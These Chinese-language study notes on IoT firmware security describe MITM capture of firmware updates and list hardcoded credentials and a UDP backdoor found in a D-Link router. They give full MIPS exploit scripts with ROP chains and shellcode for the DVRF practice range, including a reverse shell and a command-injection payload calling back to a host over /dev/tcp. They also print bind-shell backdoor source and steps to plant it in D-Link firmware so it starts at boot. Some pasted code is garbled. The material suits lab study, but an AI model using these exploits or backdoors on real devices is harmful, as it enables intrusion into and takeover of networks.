固件分析
0x01 固件提取
1、從廠商官網下載
例如D-link的固件:
https://support.dlink.com/resource/products/
2、代理或鏡像設備更新時的流量
發起中間人攻擊MITM
#啟用IP轉發功能
echo 1 > /proc/sys/net/ipv4/ip_forward#配置iptables,將目的的端口80的流量重定向至SSLstrip監聽的端口10000
iptables -t nat -p tcp -A PREROUTING --dport 80 -j REDIRECT --to-port 10000#啟動SSLstrip
ssltrip -a#啟動Ettercap GUI
ettercap -G#監聽網卡,用wireshark監聽同樣的網卡#過濾并保存相關數據,即得到固件
3、直接從設備轉儲固件
通過UART、SPI或者JTAG接口直接轉儲固件
固件提取實戰(附無損提取方案)
0x02 Dlink_DWR-932B 路由器固件分析
得到固件后,若直接打開,會發現該固件被加了密,無法直接解壓縮,這是廠商對該固件做了保護,防止大家逆向分析他的固件。
通過frackzip工具可以破解該zip的密碼
fcrackzip -u -v -b DWR-932.zip
密碼是beUT9Z。
解壓后發現文件夾中有多個.yaffs2后綴的文件,這些都是固件的文件。
yaffs2里有幾個看上去是recovery的鏡像,核心的應該是2K-mdm-image-mdm9625.yaffs2 ,我們下面就來提取該文件,我首先用binwalk來提取它,但提取出來的文件亂七八糟,不知道什么原因,后來看網上推薦直接用yaffs的原生工具unyaffs提取,就可以了,文件系統清晰明了。
unyaffs 2K-mdm-image-mdm9625.yaffs2 yaffs2-root/
接下來我們查找該路徑下的所有.conf文件,.conf文件多是配置文件,有可能從中可以發現敏感的信息。
find . -name '*.conf'
其中的inadyn-mt.conf文件引起了我們注意,這是no-ip應用的配置文件,no-ip就是一個相當于花生殼的東西,可以申請動態域名。我們從中可以發現泄露的no-ip的登陸賬號及密碼。
cat etc/inadyn-mt.conf
除了上述泄露的no-ip賬號密碼,我們還從shadow文件中找到了root賬號的密碼,通過爆破可以得到root的密碼為1234。
cat ~/yaffs2-root/etc/shadowcat /etc/shadow | grep root | cut -d: -f2 > root.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt root.hash
其實并不止有.conf文件會泄露信息,還有很多其他后綴的敏感文件會泄露信息,我們接下來使用firmwalker工具來自動化遍歷該固件系統中的所有可疑文件。
git clone https://github.com/craigz28/firmwalker.git
命令如下,firmwalker會將結果保存到firmwalker.txt。
./firmwalker.sh ~/yaffs2-root/
看了下該工具的源碼,沒啥亮點,就是遍歷各種后綴的文件。
后綴都在data文件夾中的各個配置文件中。
分析完敏感的配置文件后,我們接下來分析存在風險的二進制程序。查看自啟動的程序,一個start_appmgr腳本引起了我們注意,mgr一般就是主控程序的意思。
該腳本會在開機的時候以服務的形式運行/bin.appmgr程序。
appmgr 分析
用 IDA 打開 /bin/appmgr
程序看看
main 函數下 F5,可以發現有一個線程會持續監聽 0.0.0.0:39889(UDP),并等待傳入控制命令,如果某個用戶向目標路由器發送了一個 HELODBG
字符串,那么路由器將會執行 /sbin/telnetd -l /bin/sh
,并允許這名用戶在未經身份驗證的情況下以 root 用戶的身份登錄路由器。
默認 admin 賬號
搜索 mod_sysadm_config_passwd 函數
路由器的管理員賬號。設備的管理員賬號默認為“admin”,而密碼同樣也是“admin”。
默認 WPS PIN 碼
搜索 wifi_get_default_wps_pin 函數
默認配置下,該路由器 WPS 系統的 PIN 碼永遠都是 28296607
因為這個 PIN 碼是硬編碼在 /bin/appmgr
程序中
fotad 分析
路由器與 FOTA 服務器進行通信時的憑證數據硬編碼在 /sbin/fotad
代碼中,我們用 IDA 進行分析
搜索 sub_CAAC 函數,可以發現被 base64 過的憑證
用戶/密碼如下
cWRwYzpxZHBj qdpc:qdpc
cWRwZTpxZHBl qdpe:qdpe
cWRwOnFkcA== qdp:qdp
UPnP 安全問題
UPnP 允許用戶動態添加防火墻規則。因為這種做法會帶來一定的安全風險,因此設備通常都會對這種操作進行限制,以避免不受信任的客戶端添加不安全的防火墻規則。
UPnP 的不安全性早在2006年就已經是眾所周知的事情了。而該路由器中 UPnP 程序的安全等級仍然非常的低,處于局域網內的攻擊者可以隨意修改路由器的端口轉發規則。
文件 /var/miniupnpd.conf
是由 /bin/appmgr
程序生成的:
搜索 sub_2AE0C 函數
該程序會生成 /var/miniupnpd.conf
:
ext_ifname=rmnet0
listening_ip=bridge0
port=2869
enable_natpmp=yes
enable_upnp=yes
bitrate_up=14000000
bitrate_down=14000000
secure_mode=no # "secure" mode : when enabled, UPnP client are allowed to add mappings only to their IP.
presentation_url=http://192.168.1.1
system_uptime=yes
notify_interval=30
upnp_forward_chain=MINIUPNPD
upnp_nat_chain=MINIUPNPD
0x03 D-Link DIR-882固件解密
我們可以通過分析固件的之前的一些版本,找到研究固件當前版本的一些線索。
下面這張圖
image-20210310145532897
是很多路由器廠家會采取的一種更新升級固件并使固件更加“安全“的方案。 這個方案是這樣的:最開始發布的固件是沒有加密的,也沒有附帶任何解密的文 件,隨著固件更新,解密文件會和較新版本 v1.1 中的未加密版本一起發布,以 便將來進行固件加密,v1.1 版本作為過渡使用。而到了 v1.2 時,固件則是以加密形式發布的,不過仍附帶解密文件。
[固件下載地址](https://github.com/OL4THREE/Practice-Note/tree/main/D-Link DIR-882固件解密實驗)
我們以 D-Link DIR-882 固件為例。我們在分析固件時會發現它被 加密過了,使用 binwalk 根本無法探測,比如這次的固件 v1.20b06
這時候我們可以考慮通過分析舊版本的固件嘗試是否有什么線索來解密現在這 個新版本的固件 在 這 里 我 們 可 以 找 到 所 有 舊 版 本 的 固 件 ( ftp://ftp2.dlink.com/PRODUCTS/DIR-882/REVA/ ) , 我 們 找 個 最 早 的 版 本 v1.00b07,下載來后解壓嘗試binwalk讀取
可以看到能識別出信息,或者說是沒有加密過的。 那再看看稍微新一點的版本
v1.10b02
可以看到有兩個 bin 文件,說明 1.04b02 的過渡版本,它包含在 v1.10b02 固件包 匯中,名字也已經告訴我們了,1.04b02 是未加密的 分別使用 binwalk
而加密后的固件卻什么也看不到
我們把 1.04b02 提取出來
進入生成的文件夾
注意到有兩個文件,使用 binwalk 提取 A0 進入新文件夾 再次提取8AB758最近進入文件夾
注意到這里有一個 Imgdecrypt 的文件,看名字,應該是用來解密鏡像的 file 查看
發現是個可執行文件,嘗試執行,缺少相應的 so 文件,這很正常,因為這個文 件是寫在 mips 架構上運行的,而我們目前是 x86 為了運行它,我們使用 qemy-mipsel-static
首先將其復制到固件根文件系統的/usr/bin 目錄下 在將前面發現是加密的固件 1.20b06 復制過來
sudo chroot . ./qemu-mipsel-static ./bin/sh
接著還是同樣的辦法模擬 mips 架構拿到 shell 此時再執行 imgdecrypt 可以看到 打印出了使用方法 按照其提示,可以看到對原來加密的固件進行了解密 操作如上圖所示 這時候再次使用 binwalk 查看被解密后的固件,可以看到已經可以識別了
這給我們的啟示就是,在碰到加密的固件時,可以考率查找位于同一產品線、具 有相同處理器體系結構的路由器固件,找那些版本舊一些的,或者過渡版本,或 許就能為我們提供線索。 我們使用 binwalk 如之前未加密的固件一般一步步提取
敏感信息分析
可以看到文件系統都被提取出來了 這里介紹一個常用的小工具 firmwalk.sh 它將搜索固件文件系統,以獲取與敏感信息相關的東西,如:
etc/shadow and etc/passwd
列出 etc/ssl 目錄
搜索相關的文件,如. pem,. crt, 等。
搜索配置文件
查找腳本文件
搜索其他. bin 文件
查找諸如管理員。密碼。遠程等關鍵字。
搜索在 IoT 設備上使用的通用網絡服務器
搜索常見的二進制文件,如 ssh。tftp。dropbear 等。
搜索網址,電子郵件地址和 IP 地址
我們可以使用它來看看這個文件系統中有哪些敏感信息 命令為./firmwalker.sh 文件系統的路徑
0x04 基于固件仿真的動態分析
0x05 MIPS架構下的漏洞利用(DVRF靶場)
$ file ./bin/busybox
./bin/busybox: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
stack_bof_01
獲取參數后,未校驗長度賦值給局部變量造成棧溢出,有后門函數 0x00400950 :
Main 函數由 libc_main_start 調用,即 main 函數為非葉子函數,返回地址存放在棧上,從匯編可見:
直接跳轉 0x00400950 會因為 t9 的值被修改而錯誤。mips默認 t9 為當前函數開始地址。函數內部通過 t9 寄存器和 gp 寄存器來找數據,地址等。
其他師傅文章中是通過找 libc 中的 lw t 9 , a r g 0 ( t9, arg_0( t9,arg0?(sp);jalr $t9 調整 t9 寄存器。但是我固件鏡像中的 libc 沒有這個 gadget ,按照偏移地址跳轉過去是 jalr $t9 。換個思路直接跳過 dat_shell 開頭調整 gp 部分:
修復 t9 寄存器思路參考師傅文章:
https://www.cnblogs.com/hac425/p/9416758.html
調試方法
需要打開幾個 terminal 啟動不同的命令:
-
啟動 qemu 模擬-strace 查看 qemu 調試信息,方便觀察執行了什么命令qemu-mipsel-static -L . -g 1234 -strace ./pwnable/Intro/uaf_01 aaaa
-
gdb-multiarchgdb-multiarch ./pwnable/Intro/stack_bof_01
set architecture mips
set endian little
target remote :1234
連上之后會停在 start ,在 main 函數開頭打斷點,運行到這個斷點,然后就慢慢單步調試。
EXP
字符串是從參數讀入,跳轉地址轉換后是不可見字符 ,需要借助 cat 傳入參數
# file_name: stack_bof_01.py
from pwn import *context.binary = "./pwnable/Intro/stack_bof_01"
context.arch = "mips"
context.endian = "little"backdoor = 0x0040095c payload = 'a'*0xc8+'b'*0x4
payload += p32(backdoor)with open("stack_bof_01_payload","w") as file:file.write(payload)
命令行執行:
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "`cat stack_bof_01_payload`"
stack_bof_02
和前面一題差不多,調試方法也一樣,就是少了后門函數,造成溢出函數變成了 strcpy :
main 非葉子函數覆蓋函數返回地址跳轉存放在棧上的 shellocde 。qemu 模擬地址沒有隨機化,相當于 aslr 關閉了,直接調試查出 v4 的內存地址
Shellcode 查詢:
http://shell-storm.org/shellcode/files/shellcode-792.php
直接寫入 shellcode 可以完整執行完,但是執行 syscall 0x40404 之后沒有彈 shell 而是進行運行到下一條指令。問了師傅說也有遇到過這種情況,通過加無意義的指令(nop)調整 shellcode 位置有機會能成,用了 XOR $t1, $t1, $t1 避免 strcpy \x00 截斷(只有不包含截斷符指令都行),嘗試后無果。
查閱資料后發現,由于 mips 是流水指令集,存在 cache incoherency 的特性,需要調用 sleep 或者其他函數將數據區刷新到當前指令區中去,才能正常執行 shellcode 。
https://ctf-wiki.org/pwn/linux/mips/mips_rop/#2-dvrf-stack_bof_02c
構造 ROP 的 gadget 得去 libc 找,程序自身沒多少個。我在 ubuntu18 gdb 連上報錯,換到 ubuntu16 vmmap 查不出來 libc 信息(如圖),最后換 attify 解決問題。
libc路徑:/squashfs-root/lib/libc.so.0
先調用 sleep(1) 就需要找 gadget 控制參數以及跳轉。mipsrop.find(“li $a0,1”) 控制第一個參數,任選一個后面 rop 沒有 gadget 繼續構造就換一個 -。- ,我選著第二個構造 gadget1 = 0x2FB10 :
.text:0002FB10 li $a0, 1
.text:0002FB14 move $t9, $s1
.text:0002FB18 jalr $t9 ; sub_2F818
接著需要找一個控制 s1 的 gadget ,用于控制執行完 gadget1 之后跳轉到哪里。mipsrop.find(“li $s1”) 結果有很多,最后選了 gadget2 = 0x00007730 :
.text:00007730 lw $ra, 0x18+var_s10($sp)
.text:00007734 lw $s3, 0x18+var_sC($sp)
.text:00007738 lw $s2, 0x18+var_s8($sp)
.text:0000773C lw $s1, 0x18+var_s4($sp)
.text:00007740 lw $s0, 0x18+var_s0($sp)
.text:00007744 jr $ra
至此 a0 被控制為 1 ,目前 payload 結構為:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += "????"#s1
payload += "bbbb"#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
不能直接將 sleep(0x767142b0) 填到 s1 處,因為直接填地址跳轉 sleep 缺少了跳轉前將返回地址放到 ra 寄存器(或壓棧)的過程,當 sleep 運行到結尾的 jalr $ra 時,又會跳轉會到 gadget1 ,所以要換個方式。
mipsrop.tails() 找通過 s0\s2\s3 寄存器跳轉的 gadget ,選擇了 gadget3 = 0x00020F1C :
.text:00020F1C move $t9, $s2
.text:00020F20 lw $ra, 0x18+var_sC($sp)
.text:00020F24 lw $s2, 0x18+var_s8($sp)
.text:00020F28 lw $s1, 0x18+var_s4($sp)
.text:00020F2C lw $s0, 0x18+var_s0($sp)
.text:00020F30 jr $t9
解決 sleep 運行結束返回地址問題,并 lw r a , 0 x 18 + v a r s C ( ra, 0x18+var_sC( ra,0x18+vars?C(sp) 控制下一層跳轉,payload 結構:
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "cccc"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += "????"#ra
mipsrop.stackfinders() 找一個 gadget 提取棧地址放到寄存器中,找的時候還要注意控制下一次跳轉選擇 gadget4 = 0x16dd0 這個,通過 gadget3 提前將下次跳轉地址寫入 s0 :
.text:00016DD0 addiu $a0, $sp, 0x38+var_20
.text:00016DD4 move $t9, $s0
.text:00016DD8 jalr $t9
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += "????"#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
最后找一個用 a0 跳轉的 gadget ,一開始用 mipsrop.tails() 沒找到,最后用 mipsrop.find(“move t 9 , t9, t9,a0)”) 找著了 gadget5 = 0x214a0 ,對 mipsrop 理解不夠……
.text:000214A0 move $t9, $a0
.text:000214A4 sw $v0, 0x30+var_18($sp)
.text:000214A8 jalr $t9
最后跳轉 shellcode 時,0x000214A4 的這句匯編 sw v 0 , 0 x 30 + v a r 1 8 ( v0, 0x30+var_18( v0,0x30+var1?8(sp) 會將 shellcode 第一個指令替換為 nop ,用無意義指令填充,將 shellcode 向后移。
payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcode
EXP
from pwn import *context.binary = "./pwnable/ShellCode_Required/stack_bof_02"
context.arch = "mips"
context.endian = "little"# libc_base = 0x766e5000
sleep = 0x767142b0#0x2F2B0+0x766e5000
gadget1 = 0x76714b10
'''0x76714b10: li a0,10x76714b14: move t9,s10x76714b18: jalr t9
'''
gadget2 = 0x766ec730
'''0x766ec730: lw ra,40(sp)0x766ec734: lw s3,36(sp)0x766ec738: lw s2,32(sp)0x766ec73c: lw s1,28(sp)0x766ec740: lw s0,24(sp)0x766ec744: jr ra
'''
gadget3 = 0x76705f1c
'''0x76705f1c: move t9,s20x76705f20: lw ra,36(sp)0x76705f24: lw s2,32(sp)0x76705f28: lw s1,28(sp)0x76705f2c: lw s0,24(sp)0x76705f30: jr t9
'''
gadget4 = 0x766fbdd0
'''0x766fbdd0: addiu a0,sp,240x766fbdd4 <optarg>: move t9,s00x766fbdd8: jalr t9
'''
gadget5 = 0x767064a0
'''0x767064a0: move t9,a00x767064a4: sw v0,24(sp)0x767064a8: jalr t9
'''
shellcode = "\xff\xff\x06\x28" # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f " # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e " # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
shellcode += "\xf5\xff\xa4\x27" # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28" # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01" # syscall 0x40404payload = "a"*508
payload += p32(gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(gadget3)#s1
payload += p32(sleep)#s2
payload += "bbbb"#s3
payload += p32(gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += shellcodewith open("stack_bof_02_payload","w") as file:file.write(payload)
socket_bof
這題二進制文件用 ida 看偽代碼有點瑕疵,本來溢出點變成了一個指針,導致一直找不到,最后無奈去看了下源碼和結合匯編。
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>// Pwnable Socket Program
// By b1ack0wl
// Stack Overflowint main(int argc, char **argv[])
{if (argc <2){printf("Usage: %s port_number - by b1ack0wl\n", argv[0]);
exit(1);}char str[500] = "\0";char endstr[50] = "\0";int listen_fd, comm_fd;int retval = 0;int option = 1;struct sockaddr_in servaddr;listen_fd = socket(AF_INET, SOCK_STREAM, 0);bzero( &servaddr, sizeof(servaddr));servaddr.sin_family = AF_INET;servaddr.sin_addr.s_addr = htons(INADDR_ANY);servaddr.sin_port = htons(atoi(argv[1]));printf("Binding to port %i\n", atoi(argv[1]));retval = bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));if (retval == -1){printf("Error Binding to port %i\n", atoi(argv[1]));exit(1);}if(setsockopt(listen_fd, SOL_SOCKET,SO_REUSEADDR, (char*)&option, sizeof(option)) < 0){printf("Setsockopt failed :(\n");close(listen_fd);exit(2);
}listen(listen_fd, 2);comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);bzero(str, 500);write(comm_fd, "Send Me Bytes:",14);read(comm_fd,str,500);sprintf(endstr, "nom nom nom, you sent me %s", str);printf("Sent back - %s",str);write(comm_fd, endstr, strlen(endstr)+1);shutdown(comm_fd, SHUT_RDWR);shutdown(listen_fd, SHUT_RDWR);close(comm_fd);close(listen_fd);
return 0x42;
}
棧溢出在這句 sprintf(endstr, “nom nom nom, you sent me %s”, str); str 是 socket 傳入的數據,長度內容為我們所控制,溢出 padding 為 51
調試方法
在 ubuntu 16.04 下 gdb-multiarch target remote :1234 鏈接上后報錯退出,切換到 attify 能繼續使用最常規方式調試:qemu-user 模式加 -g 打開調試端口,gdb-multiarch target remote :1234 鏈接上去。
# terminal 1
sudo qemu-mipsel-static -L . -g 1234 -strace ./pwnable/ShellCode_Required/socket_bof 8884
# terminal 2 gdb-multiarch
set architecture mips
set endian little
target remote :1234
另外一個調試方法是 qemu system 啟動 mips 系統,然后傳入一個 gdb-server ,在里面運行程序然后 gdb-server attach 程序,再在外面用 gdb 鏈接上去。
attify 里面 gdb 插件是 gef ,用 vmmap 讀不出 libc 地址
曲線救國在 0x00400D34 打下斷點,單步跟進去查看 sprintf 的真實地址,然后再從 ./lib/libc.so.0 讀取偏移算出基地址
全部題目用的 libc 都同一個,需要 shellcode 的題目,換下 shellcode 就能通用 exp 。前面 stack_bof_02 是在 ubuntu16 里面的腳本 libc_base 和 attify 不一樣要換下基地址。
Stack_bof_02 的 execve(‘/bin/sh’) 能打通
找一個反彈 shell 的 shellcode 替換,或者將 shell 綁定到某個端口
反彈 shell :http://shell-storm.org/shellcode/files/shellcode-860.php
綁定 shell :http://shell-storm.org/shellcode/files/shellcode-81.php
綁定 shell 的 shellcode 預期是開在本地的 4919 端口,實際運行后發現并不是,要自己查端口 -。- ,然鵝 nc 連上去后程序會蹦掉。
反彈 shell 的 shellcode 預編是反彈到 192.168.1.177:31337 ,要么修改網卡 ip ,要么就改一下 shellcode 傳入的 ip
將 ip 地址轉換成 16 進制
hex(192)#0xc0
hex(168)#0xa8
hex(1) #0x01
hex(177)#0xb1
#192.168.1.177==>0xB101A8C0
編譯一下,編譯失敗看看是不是 binutils 沒裝
from pwn import
context.arch = "mips"
context.endian = "little"
asm("li $a1, 0xB101A8C0")
然后搜索 \x01\xb1\x05 \xc0\xa8\xa5\x34 替換為自己編譯的:
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"
EXP
#!/usr/bin/python
from pwn import *context.arch = 'mips'
context.endian = 'little'libc_addr = 0x4089b000#0x766e5000
sleep = 0x0002F2B0gadget1 = 0x2fb10
'''0x76714b10: li a0,10x76714b14: move t9,s10x76714b18: jalr t9
'''
gadget2 = 0x7730
'''0x766ec730: lw ra,40(sp)0x766ec734: lw s3,36(sp)0x766ec738: lw s2,32(sp)0x766ec73c: lw s1,28(sp)0x766ec740: lw s0,24(sp)0x766ec744: jr ra
'''
gadget3 = 0x20f1c
'''0x76705f1c: move t9,s20x76705f20: lw ra,36(sp)0x76705f24: lw s2,32(sp)0x76705f28: lw s1,28(sp)0x76705f2c: lw s0,24(sp)0x76705f30: jr t9
'''
gadget4 = 0x16dd0
'''0x766fbdd0: addiu a0,sp,240x766fbdd4 <optarg>: move t9,s00x766fbdd8: jalr t9
'''
gadget5 = 0x214a0
'''0x767064a0: move t9,a00x767064a4: sw v0,24(sp)0x767064a8: jalr t9
'''
stg3_SC = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
stg3_SC += "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
stg3_SC += "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x79\x69\x05 \x01\xff\xa5\x34\x01\x01\xa5\x20"
#stg3_SC += "\xf8\xff\xa5\xaf\x01\xb1\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.1.177
stg3_SC += "\xf8\xff\xa5\xaf\xd3\x09\x05 \xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"#192.168.211.9
stg3_SC += "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
stg3_SC += "\x0c\x09\x09\x01\x62\x69\x08 \x2f\x2f\x08\x35\xec\xff\xa8\xaf"
stg3_SC += "\x73\x68\x08 \x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
stg3_SC += "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
stg3_SC += "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
stg3_SC += "\xab\x0f\x02\x24\x0c\x09\x09\x01"payload = 'a' * 51
payload += p32(libc_addr+gadget2)
payload += "a"*0x18
payload += "bbbb"#s0
payload += p32(libc_addr+gadget3)#s1
payload += p32(libc_addr+sleep)#s2
payload += "bbbb"#s3
payload += p32(libc_addr+gadget1)#ra
#######
payload += "a"*(0x18+0x4)
payload += p32(libc_addr+gadget5)#s0
payload += "cccc"#s1
payload += "cccc"#s2
payload += p32(libc_addr+gadget4)#ra
#######
payload += "a"*0x18
payload += p32(0xdeadbeef)
payload += stg3_SCp = remote('127.0.0.1',8882)
p.recvuntil('Send Me Bytes:')p.sendline(payload)p.interactive()
socket_cmd
遠程命令注入,參考資料看下面:
CTF之命令執行繞過總結
反彈Shell,看這一篇就夠了
EXP
依次打開終端運行
#terminal 0
qemu-mipsel-static -L . -strace ./pwnable/ShellCode_Required/socket_cmd 9999
#terminal 1
nc -lvvp 31337
#tarminal 2
nc 127.0.0.1 9999
hacked|`bash -c "bash -i >& /dev/tcp/192.168.211.9/31337 0>&1"`
是 iot 用戶 nc 鏈接上去程序,程序是用 sudo 起來,所以切換到 root
0x06 使用firmware-mod-kit(FMK)在固件中添加后門
在漏洞利用過程中,經常需要用到的一種方法就是篡改固件。也就是從固件中提取文件系統,對其內容進行修改,然后再將其重新打包成新的固件,隨后攻擊者可以將這個新打包的固件刷進設備。
準備工作
固件篡改的過程會用到工具 FMK,該工具由 Jeremy Collake 和 Craig Heffner 開發。FMK 不僅可以利用 Binwalk 或其他工具從固件中提取出文件系統,還具有將篡改后的文件系統重新打包成新固件的功能。
FMK 可以從https://github.com/brianpow/firmware-mod-kit/下載,如果讀者之前從 GitHub 中克隆了 FAT 代碼,那么該工具應該已經存在于讀者的系統中了。下載完該工具后,接下來我們就可以找一個固件一試身手了。出于簡單起見,同時讓本書的讀者在無須投入資金購買硬件的情況下也能夠復現以下步驟,我們主要以能夠采用 FAT 進行仿真的固件為例進行介紹。
測試流程
篡改固件的步驟如下:
1)在本例中我們使用的固件來自 D-Link DIR-300 路由器。在這里我們使用 FMK 目錄下的 extract-firmware.sh 腳本從固件中提取文件系統,而未使用 Binwalk。操作命令如圖 1 所示。
./extract-firmware.sh Dlink_firmware.bin
提取出固件后,腳本會生成一個新目錄,其中包括 rootfs、image_part 和 logs 等文件夾。由于攻擊者的目的大多是添加后門和修改固件,因此這里我們只關心 rootfs 文件夾。
rootfs 文件夾中包含了固件中的整套文件系統。而我們所要做的工作就是在固件中添加后門,然后找到固件啟動后自動調用后門的方法。
2)首先查看固件所基于的架構。對固件中任一文件執行 readelf 命令就可以查看其架構,以 BusyBox 文件為例,命令執行結果如圖 2 所示。
3)正如我們從圖 2 中看到的,固件是基于 MIPS 小端架構的。這意味著我們需要開發符合 MIPS 小端架構的后門并進行編譯。下面是我們將要使用的后門源碼,該后門由 Osanda Malith 開發編寫:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>
#define SERVER_PORT 9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) * Bind Shell using Fork for my TP-Link mr3020 router running busybox * Arch : MIPS * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc */int main() { int serverfd, clientfd, server_pid, i = 0; char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; char *args[] = { "/bin/busybox", "sh", (char *) 0 }; Analyzing and Exploiting Firmware struct sockaddr_in server, client; socklen_t len;server.sin_family = AF_INET; server.sin_port = htons(SERVER_PORT); server.sin_addr.s_addr = INADDR_ANY;serverfd = socket(AF_INET, SOCK_STREAM, 0); bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1);while (1) { len = sizeof(struct sockaddr); clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork(); if (server_pid) { write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd); } close(clientfd); } return 0;}
代碼寫好后,我們就可以使用針對 MIPSEL 架構的 Buildroot,并使用該 Buildroot 構建的交叉編譯器編譯代碼。這里不對安裝配置 Buildroot 的過程進行過多介紹,因為這個過程非常簡單,并且在 Buildroot 的說明文檔中已經進行了詳細說明。
4)為 MIPSEL 架構創建了交叉編譯器后,我們接下來將 bindshell.c 編譯為能夠植入文件系統的二進制文件 bindshell:
./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -obindshell
下一步是在文件系統中尋找可以放置該二進制文件的地方,以及如何在啟動過程中將其設置為自啟動。這里我們的思路是分析在啟動過程中自動調用的腳本,看看是否能夠實現自啟動。
5)在文件系統中,我們可以在 etc/templates/目錄中放入后門的二進制文件,然后在 system.sh 腳本中調用該二進制文件,其中 system.sh 腳本位于/etc/scripts/目錄下,腳本編寫如圖 3 所示。
6)接下來使用 build-firmware.sh 腳本將修改后的文件系統重新打包為新的固件,打包過程如圖 4 所示。
